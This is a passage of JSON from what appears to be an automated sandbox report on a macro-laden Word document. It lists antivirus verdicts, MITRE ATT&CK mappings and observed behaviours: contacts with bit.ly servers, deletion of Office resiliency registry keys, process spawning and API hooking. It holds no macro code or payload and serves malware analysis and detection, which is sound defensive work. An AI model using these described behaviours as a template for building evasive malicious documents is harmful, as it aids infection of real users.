adefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"TROJ_FR.9DB1664B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"TROJ_FR.9DB1664B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Office.VBA_Macro_Heur","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"TROJ_FR.9DB1664B","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/techniques/T1035","identifiers":[{"type":"informative","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with interesting strings"},{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"informative","value":"Hooks API calls"},{"type":"informative","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Removes Office resiliency keys (often used to avoid problems opening documents)"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"tactic":"Command and Control","technique":"Commonly Used Port","attack_id":"T1043","attack_id_wiki":"https://attack.mitre.org/techniques/T1043","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"bit.ly\"\n \"bitly.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"67.199.248.10:443\"\n \"67.199.248.15:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$25","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"https://bit.\"","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DF7CC3644BC78AF708.TMP\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-64255\"\n \"Local\\x64_10MU_ACB10_S-1-5-5-0-64255\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~_9aa92015d3ae94d841745b3bb3be5addd980596ba42c50cf9666ed9ac88334.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F2930000","origin":"Loaded Module","mitre_attack_id":"T1179","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"WINWORD.EXE\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"explorer.exe\" (UID: 00070817-00001460) was launched with new environment variables: \"WecVersionForRosebud.F28=\"4\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"'H<\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \" I<\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"QF<\")\n \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-68","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"mspim_wnd32\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"explorer.exe\" with commandline \"%PUBLIC%\\ReadMe.txt.lnk\" (UID: 00070817-00001460)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"WINWORD.EXE\" is creating a new process (Name: \"%WINDIR%\\explorer.exe\", Handle: )","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$26","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5ef44460b0d71b44551f52f4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://bit\"\n Heuristic match: \"Email: Poldep-Economy-Science@ep.europa.eu\"\n Pattern match: \"http://www.europarl.europa.eu/supporting-analyses\"\n Heuristic match: \"Cover image used under licence from Shutterstock.com\"\n Heuristic match: \"bit.ly\"\n Heuristic match: \"bitly.com\"\n Heuristic match: \"K=oMO)xBd2}I_Yyzff}'WWW[J$~f4